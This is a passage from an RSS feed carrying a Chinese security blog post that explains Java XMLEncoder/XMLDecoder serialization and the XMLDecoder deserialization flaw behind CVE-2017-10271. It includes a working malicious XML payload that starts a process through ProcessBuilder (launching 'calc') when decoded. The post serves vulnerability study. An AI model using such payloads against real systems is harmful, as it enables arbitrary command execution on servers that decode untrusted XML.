<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=9e850002&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzU0ODg2MDA0NQ%3D%3D%26mid%3D2247486142%26idx%3D1%26sn%3Dc6adf05fa85c40f7ce8fb927a122759a%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 02 Jul 2021 12:34:00 +0800</pubDate>
    </item>
    <item>
      <title>XMLDecoder反序列化与CVE-2017-10271</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzU0ODg2MDA0NQ==&amp;mid=2247486136&amp;idx=1&amp;sn=9071229f94aa6b9342c9d5aebf4891aa</link>
      <description>XMLEncoder与 XMLDecoder使用XMLEncoder来生成表示JavaBeans组件（bea</description>
      <content:encoded><![CDATA[<p>
原创 <span>Syst1m</span> <span>2021-06-24 17:23</span> <span style="display: inline-block;"></span>
</p>

<p>XMLEncoder与 XMLDecoder使用XMLEncoder来生成表示JavaBeans组件（bea</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=c5fddc83&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FzleycDibFeibqeuxCPcjqiasKib52l7TJAEictjPzecZJV5mzHFuePgSWRTCphwzu5KcrJkTRvYUA3mQn6ibAwhYUJKg%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<h2 style="box-sizing: border-box;margin: 4em auto 2em;padding-right: 1em;padding-left: 1em;font-weight: bold;white-space: normal;text-align: center;color: rgb(63, 63, 63);line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 1.2em;display: table;border-bottom: 1px solid rgb(248, 57, 41);"><span style="font-size: 1.2em;">XMLEncoder与 XMLDecoder</span><br/></h2><p style="box-sizing: border-box;margin: 1.5em 8px;font-size: 14px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: 0.1em;">使用<code style="box-sizing: border-box;padding: 3px 5px;color: rgb(221, 17, 68);line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-size: 12.6px;background: rgba(27, 31, 35, 0.05);border-radius: 4px;">XMLEncoder</code>来生成表示<code style="box-sizing: border-box;padding: 3px 5px;color: rgb(221, 17, 68);line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-size: 12.6px;background: rgba(27, 31, 35, 0.05);border-radius: 4px;">JavaBeans</code>组件（bean）的<code style="box-sizing: border-box;padding: 3px 5px;color: rgb(221, 17, 68);line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-size: 12.6px;background: rgba(27, 31, 35, 0.05);border-radius: 4px;">XML</code>文档，用<code style="box-sizing: border-box;padding: 3px 5px;color: rgb(221, 17, 68);line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-size: 12.6px;background: rgba(27, 31, 35, 0.05);border-radius: 4px;">XMLDecoder</code>读取使用 <code style="box-sizing: border-box;padding: 3px 5px;color: rgb(221, 17, 68);line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-size: 12.6px;background: rgba(27, 31, 35, 0.05);border-radius: 4px;">XMLEncoder</code> 创建的XML文档获取<code style="box-sizing: border-box;padding: 3px 5px;color: rgb(221, 17, 68);line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-size: 12.6px;background: rgba(27, 31, 35, 0.05);border-radius: 4px;">JavaBeans</code></p><p style="box-sizing: border-box;padding-left: 1em;font-size: 14px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;list-style: circle;"><span style="box-sizing: border-box;margin: 0.5em 8px;line-height: 1.75;text-indent: -1em;display: block;"><span style="box-sizing: border-box;margin-right: 10px;">•</span>XMLEncoder示例</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="java"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> javax.swing.*;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> java.beans.XMLEncoder;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> java.io.BufferedOutputStream;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> java.io.FileOutputStream;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">public</span> <span class="code-snippet__class"><span class="code-snippet__keyword">class</span> <span class="code-snippet__title">xmlencoder</span> </span>{</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">static</span> <span class="code-snippet__keyword">void</span> <span class="code-snippet__title">main</span><span class="code-snippet__params">(String[] args)</span> <span class="code-snippet__keyword">throws</span> Exception</span>{</span></code><code><span class="code-snippet_outer">        XMLEncoder a = <span class="code-snippet__keyword">new</span> XMLEncoder(<span class="code-snippet__keyword">new</span> BufferedOutputStream(<span class="code-snippet__keyword">new</span> FileOutputStream(<span class="code-snippet__string">&#34;test.xml&#34;</span>)));</span></code><code><span class="code-snippet_outer">        a.writeObject(<span class="code-snippet__keyword">new</span> JButton(<span class="code-snippet__string">&#34;test.test&#34;</span>));</span></code><code><span class="code-snippet_outer">        a.close();</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p style="box-sizing: border-box;margin: 1.5em 8px;font-size: 14px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: 0.1em;">生成的效果如下，在test.xml中<br/></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="xml"><code><span class="code-snippet_outer"><span class="code-snippet__meta">&lt;?xml version=&#34;1.0&#34; encoding=&#34;UTF-8&#34;?&gt;</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;<span class="code-snippet__name">java</span> <span class="code-snippet__attr">version</span>=<span class="code-snippet__string">&#34;1.8.0_281&#34;</span> <span class="code-snippet__attr">class</span>=<span class="code-snippet__string">&#34;java.beans.XMLDecoder&#34;</span>&gt;</span></span></code><code><span class="code-snippet_outer"> <span class="code-snippet__tag">&lt;<span class="code-snippet__name">object</span> <span class="code-snippet__attr">class</span>=<span class="code-snippet__string">&#34;javax.swing.JButton&#34;</span>&gt;</span></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__tag">&lt;<span class="code-snippet__name">string</span>&gt;</span>test.test<span class="code-snippet__tag">&lt;/<span class="code-snippet__name">string</span>&gt;</span></span></code><code><span class="code-snippet_outer"> <span class="code-snippet__tag">&lt;/<span class="code-snippet__name">object</span>&gt;</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;/<span class="code-snippet__name">java</span>&gt;</span></span></code></pre></section><p style="box-sizing: border-box;padding-left: 1em;font-size: 14px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;list-style: circle;"><span style="box-sizing: border-box;margin: 0.5em 8px;line-height: 1.75;text-indent: -1em;display: block;"><span style="box-sizing: border-box;margin-right: 10px;">•</span>XMLDecoder示例</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="swift"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> javax.swing.*;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> java.beans.XMLDecoder;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> java.beans.XMLEncoder;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> java.io.BufferedInputStream;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> java.io.BufferedOutputStream;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> java.io.FileInputStream;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> java.io.FileOutputStream;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">public</span> <span class="code-snippet__class"><span class="code-snippet__keyword">class</span> <span class="code-snippet__title">xmlencoder</span> </span>{</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">static</span> void main(<span class="code-snippet__type">String</span>[] args) <span class="code-snippet__keyword">throws</span> <span class="code-snippet__type">Exception</span>{</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__type">XMLDecoder</span> j = new <span class="code-snippet__type">XMLDecoder</span>(new <span class="code-snippet__type">BufferedInputStream</span>(new <span class="code-snippet__type">FileInputStream</span>(<span class="code-snippet__string">&#34;test.xml&#34;</span>)));</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__type">Object</span> result = j.readObject();</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__type">System</span>.out.<span class="code-snippet__built_in">println</span>(result);</span></code><code><span class="code-snippet_outer">        j.close();</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p style="box-sizing: border-box;margin: 1.5em 8px;font-size: 14px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: 0.1em;">最终生成的打印结果为<br/></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="ruby"><code><span class="code-snippet_outer">javax.swing.JButton[,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">0x0</span>,invalid,alignmentX=<span class="code-snippet__number">0</span>.<span class="code-snippet__number">0</span>,alignmentY=<span class="code-snippet__number">0</span>.<span class="code-snippet__number">5</span>,border=javax.swing.plaf.BorderUIResource$CompoundBorderUIResource@1b2c6ec2,flags=<span class="code-snippet__number">296</span>,maximumSize=,minimumSize=,preferredSize=,defaultIcon=,disabledIcon=,disabledSelectedIcon=,margin=javax.swing.plaf.InsetsUIResource[top=<span class="code-snippet__number">2</span>,left=<span class="code-snippet__number">14</span>,bottom=<span class="code-snippet__number">2</span>,right=<span class="code-snippet__number">14</span>],paintBorder=<span class="code-snippet__literal">true</span>,paintFocus=<span class="code-snippet__literal">true</span>,pressedIcon=,rolloverEnabled=<span class="code-snippet__literal">true</span>,rolloverIcon=,rolloverSelectedIcon=,selectedIcon=,text=test.test,defaultCapable=<span class="code-snippet__literal">true</span>]</span></code></pre></section><figure style="box-sizing: border-box;margin: 1.5em 8px;font-size: 14px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><img data-backh="139" data-backw="319" data-ratio="0.43608562691131497" title="null" data-type="png" data-w="1635" style="box-sizing: border-box;margin: 0.5em auto;line-height: 1.75;border-radius: 4px;display: block;width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=6de10dd7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FzleycDibFeibqeuxCPcjqiasKib52l7TJAEic1Q0mwq6tcebkqe27EmvtzX0icU9SGQELUol4WuWfg4HzgxDUfE97Klw%2F640%3Fwx_fmt%3Dpng"/></figure><h2 style="box-sizing: border-box;margin: 4em auto 2em;padding-right: 1em;padding-left: 1em;font-weight: bold;white-space: normal;text-align: center;color: rgb(63, 63, 63);line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 1.2em;display: table;border-bottom: 1px solid rgb(248, 57, 41);">XML标签、属性</h2><p style="box-sizing: border-box;padding-left: 1em;font-size: 14px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;list-style: circle;"><span style="box-sizing: border-box;margin: 0.5em 8px;line-height: 1.75;text-indent: -1em;display: block;"><span style="box-sizing: border-box;margin-right: 10px;">•</span>string标签</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="bash"><code><span class="code-snippet_outer"><span class="code-snippet__built_in">test</span>,<span class="code-snippet__built_in">test</span> 字符串的在XML中表示方式为`&lt;string&gt;test.test&lt;/string&gt;</span></code></pre></section><p style="box-sizing: border-box;padding-left: 1em;font-size: 14px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;list-style: circle;"><span style="box-sizing: border-box;margin: 0.5em 8px;line-height: 1.75;text-indent: -1em;display: block;"><span style="box-sizing: border-box;margin-right: 10px;">•</span>object标签</span></p><p style="box-sizing: border-box;margin: 1.5em 8px;font-size: 14px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: 0.1em;">通过 <code style="box-sizing: border-box;padding: 3px 5px;color: rgb(221, 17, 68);line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-size: 12.6px;background: rgba(27, 31, 35, 0.05);border-radius: 4px;">&lt;object&gt;</code> 标签表示对象， <code style="box-sizing: border-box;padding: 3px 5px;color: rgb(221, 17, 68);line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-size: 12.6px;background: rgba(27, 31, 35, 0.05);border-radius: 4px;">class</code> 属性指定具体类(用于调用其内部方法)， <code style="box-sizing: border-box;padding: 3px 5px;color: rgb(221, 17, 68);line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-size: 12.6px;background: rgba(27, 31, 35, 0.05);border-radius: 4px;">method</code> 属性指定具体方法名称(比如构造函数的的方法名为 <code style="box-sizing: border-box;padding: 3px 5px;color: rgb(221, 17, 68);line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-size: 12.6px;background: rgba(27, 31, 35, 0.05);border-radius: 4px;">new</code> ) <code style="box-sizing: border-box;padding: 3px 5px;color: rgb(221, 17, 68);line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-size: 12.6px;background: rgba(27, 31, 35, 0.05);border-radius: 4px;">new JButton(&#34;test,test&#34;)</code> 对应的<code style="box-sizing: border-box;padding: 3px 5px;color: rgb(221, 17, 68);line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-size: 12.6px;background: rgba(27, 31, 35, 0.05);border-radius: 4px;">XML</code>文档:</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="cs"><code><span class="code-snippet_outer">&lt;<span class="code-snippet__keyword">object</span> <span class="code-snippet__keyword">class</span>=<span class="code-snippet__string">&#34;javax.swing.JButton&#34;</span>&gt;</span></code><code><span class="code-snippet_outer">    &lt;<span class="code-snippet__keyword">void</span> method=<span class="code-snippet__string">&#34;setText&#34;</span>&gt;</span></code><code><span class="code-snippet_outer">    &lt;<span class="code-snippet__keyword">string</span>&gt;test,test&lt;/<span class="code-snippet__keyword">string</span>&gt;</span></code><code><span class="code-snippet_outer">    &lt;/<span class="code-snippet__keyword">void</span>&gt;</span></code><code><span class="code-snippet_outer">&lt;/<span class="code-snippet__keyword">object</span>&gt;</span></code></pre></section><p style="box-sizing: border-box;padding-left: 1em;font-size: 14px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;list-style: circle;"><span style="box-sizing: border-box;margin: 0.5em 8px;line-height: 1.75;text-indent: -1em;display: block;"><span style="box-sizing: border-box;margin-right: 10px;">•</span>void标签</span></p><p style="box-sizing: border-box;margin: 1.5em 8px;font-size: 14px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: 0.1em;">通过 <code style="box-sizing: border-box;padding: 3px 5px;color: rgb(221, 17, 68);line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-size: 12.6px;background: rgba(27, 31, 35, 0.05);border-radius: 4px;">void</code> 标签表示函数调用、赋值等操作， <code style="box-sizing: border-box;padding: 3px 5px;color: rgb(221, 17, 68);line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-size: 12.6px;background: rgba(27, 31, 35, 0.05);border-radius: 4px;">method</code> 属性指定具体的方法名称。 <code style="box-sizing: border-box;padding: 3px 5px;color: rgb(221, 17, 68);line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-size: 12.6px;background: rgba(27, 31, 35, 0.05);border-radius: 4px;">JButton b = new JButton();b.setText(&#34;Hello, world&#34;);</code> 对应的<code style="box-sizing: border-box;padding: 3px 5px;color: rgb(221, 17, 68);line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-size: 12.6px;background: rgba(27, 31, 35, 0.05);border-radius: 4px;">XML</code>文档:</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="cs"><code><span class="code-snippet_outer">&lt;<span class="code-snippet__keyword">object</span> <span class="code-snippet__keyword">class</span>=<span class="code-snippet__string">&#34;javax.swing.JButton&#34;</span>&gt;</span></code><code><span class="code-snippet_outer">    &lt;<span class="code-snippet__keyword">void</span> method=<span class="code-snippet__string">&#34;setText&#34;</span>&gt;</span></code><code><span class="code-snippet_outer">    &lt;<span class="code-snippet__keyword">string</span>&gt;Hello,xml&lt;/<span class="code-snippet__keyword">string</span>&gt;</span></code><code><span class="code-snippet_outer">    &lt;/<span class="code-snippet__keyword">void</span>&gt;</span></code><code><span class="code-snippet_outer">&lt;/<span class="code-snippet__keyword">object</span>&gt;</span></code></pre></section><p style="box-sizing: border-box;padding-left: 1em;font-size: 14px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;list-style: circle;"><span style="box-sizing: border-box;margin: 0.5em 8px;line-height: 1.75;text-indent: -1em;display: block;"><span style="box-sizing: border-box;margin-right: 10px;">•</span>array标签</span></p><p style="box-sizing: border-box;margin: 1.5em 8px;font-size: 14px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: 0.1em;">通过 <code style="box-sizing: border-box;padding: 3px 5px;color: rgb(221, 17, 68);line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-size: 12.6px;background: rgba(27, 31, 35, 0.05);border-radius: 4px;">array</code> 标签表示数组， <code style="box-sizing: border-box;padding: 3px 5px;color: rgb(221, 17, 68);line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-size: 12.6px;background: rgba(27, 31, 35, 0.05);border-radius: 4px;">class</code> 属性指定具体类，内部 <code style="box-sizing: border-box;padding: 3px 5px;color: rgb(221, 17, 68);line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-size: 12.6px;background: rgba(27, 31, 35, 0.05);border-radius: 4px;">void</code> 标签的 <code style="box-sizing: border-box;padding: 3px 5px;color: rgb(221, 17, 68);line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-size: 12.6px;background: rgba(27, 31, 35, 0.05);border-radius: 4px;">index</code> 属性表示根据指定数组索引赋值。<code style="box-sizing: border-box;padding: 3px 5px;color: rgb(221, 17, 68);line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-size: 12.6px;background: rgba(27, 31, 35, 0.05);border-radius: 4px;">String[] s = new String[3];s[1] = &#34;Hello,xml&#34;;</code> 对应的<code style="box-sizing: border-box;padding: 3px 5px;color: rgb(221, 17, 68);line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-size: 12.6px;background: rgba(27, 31, 35, 0.05);border-radius: 4px;">XML</code>文档:</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="javascript"><code><span class="code-snippet_outer">&lt;array <span class="code-snippet__class"><span class="code-snippet__keyword">class</span></span>=<span class="code-snippet__string">&#34;java.lang.String&#34;</span> length=<span class="code-snippet__string">&#34;3&#34;</span>&gt;</span></code><code><span class="code-snippet_outer">     <span class="code-snippet__tag">&lt;<span class="code-snippet__name">void</span> <span class="code-snippet__attr">index</span>=<span class="code-snippet__string">&#34;1&#34;</span>&gt;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__tag">&lt;<span class="code-snippet__name">string</span>&gt;</span>Hello,xml<span class="code-snippet__tag">&lt;/<span class="code-snippet__name">string</span>&gt;</span></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__tag">&lt;/<span class="code-snippet__name">void</span>&gt;</span></span></code><code><span class="code-snippet_outer">&lt;<span class="code-snippet__regexp">/array&gt;</span></span></code></pre></section><h2 style="box-sizing: border-box;margin: 4em auto 2em;padding-right: 1em;padding-left: 1em;font-weight: bold;white-space: normal;text-align: center;color: rgb(63, 63, 63);line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 1.2em;display: table;border-bottom: 1px solid rgb(248, 57, 41);">XMLDecoder反序列化漏洞</h2><p style="box-sizing: border-box;padding-left: 1em;font-size: 14px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;list-style: circle;"><span style="box-sizing: border-box;margin: 0.5em 8px;line-height: 1.75;text-indent: -1em;display: block;"><span style="box-sizing: border-box;margin-right: 10px;">•</span>这里的示例代码还是使用原来的代码</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="typescript"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">static</span> <span class="code-snippet__built_in">void</span> main(<span class="code-snippet__built_in">String</span>[] args) throws Exception{</span></code><code><span class="code-snippet_outer">        XMLDecoder j = <span class="code-snippet__keyword">new</span> XMLDecoder(<span class="code-snippet__keyword">new</span> BufferedInputStream(<span class="code-snippet__keyword">new</span> FileInputStream(<span class="code-snippet__string">&#34;test.xml&#34;</span>)));</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__built_in">Object</span> result = j.readObject();</span></code><code><span class="code-snippet_outer">        j.close();</span></code><code><span class="code-snippet_outer">    }</span></code></pre></section><p style="box-sizing: border-box;padding-left: 1em;font-size: 14px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;list-style: circle;"><span style="box-sizing: border-box;margin: 0.5em 8px;line-height: 1.75;text-indent: -1em;display: block;"><span style="box-sizing: border-box;margin-right: 10px;">•</span>这里将原有的test.xml修改为恶意XML</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="xml"><code><span class="code-snippet_outer"><span class="code-snippet__meta">&lt;?xml version=&#34;1.0&#34; encoding=&#34;UTF-8&#34;?&gt;</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;<span class="code-snippet__name">java</span> <span class="code-snippet__attr">version</span>=<span class="code-snippet__string">&#34;1.8.0_112&#34;</span> <span class="code-snippet__attr">class</span>=<span class="code-snippet__string">&#34;java.beans.XMLDecoder&#34;</span>&gt;</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;<span class="code-snippet__name">void</span> <span class="code-snippet__attr">class</span>=<span class="code-snippet__string">&#34;java.lang.ProcessBuilder&#34;</span>&gt;</span></span></code><code><span class="code-snippet_outer"> <span class="code-snippet__tag">&lt;<span class="code-snippet__name">array</span> <span class="code-snippet__attr">class</span>=<span class="code-snippet__string">&#34;java.lang.String&#34;</span> <span class="code-snippet__attr">length</span>=<span class="code-snippet__string">&#34;1&#34;</span>&gt;</span></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__tag">&lt;<span class="code-snippet__name">void</span> <span class="code-snippet__attr">index</span>=<span class="code-snippet__string">&#34;0&#34;</span>&gt;</span></span></code><code><span class="code-snippet_outer">   <span class="code-snippet__tag">&lt;<span class="code-snippet__name">string</span>&gt;</span>calc<span class="code-snippet__tag">&lt;/<span class="code-snippet__name">string</span>&gt;</span></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__tag">&lt;/<span class="code-snippet__name">void</span>&gt;</span></span></code><code><span class="code-snippet_outer"> <span class="code-snippet__tag">&lt;/<span class="code-snippet__name">array</span>&gt;</span></span></code><code><span class="code-snippet_outer"> <span class="code-snippet__tag">&lt;<span class="code-snippet__name">void</span> <span class="code-snippet__attr">method</span>=<span class="code-snippet__string">&#34;start&#34;</span>/&gt;</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;/<span class="code-snippet__name">void</span>&gt;</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;/<span class="code-snippet__name">java</span>&gt;</span></span></code></pre></section><p style="box-sizing: border-box;padding-left: 1em;font-size: 14px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;list-style: circle;"><span style="box-sizing: border-box;margin: 0.5em 8px;line-height: 1.75;text-indent: -1em;display: block;"><span style="box-sizing: border-box;margin-right: 10px;">•</span>运行弹出计算器</span></p><figure style="box-sizing: border-box;margin: 1.5em 8px;font-size: 14px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><img data-backh="138" data-backw="319" data-ratio="0.4325" title="null" data-type="png" data-w="1200" style="box-sizing: border-box;margin: 0.5em auto;line-height: 1.75;border-radius: 4px;display: block;width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=0282face&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FzleycDibFeibqeuxCPcjqiasKib52l7TJAEicR5PiaKicatHEYBjPqO3t6SO9sicblibicKRIOt9vyuhsSwQhKN1pOSH9sHg%2F640%3Fwx_fmt%3Dpng"/></figure><h2 style="box-sizing: 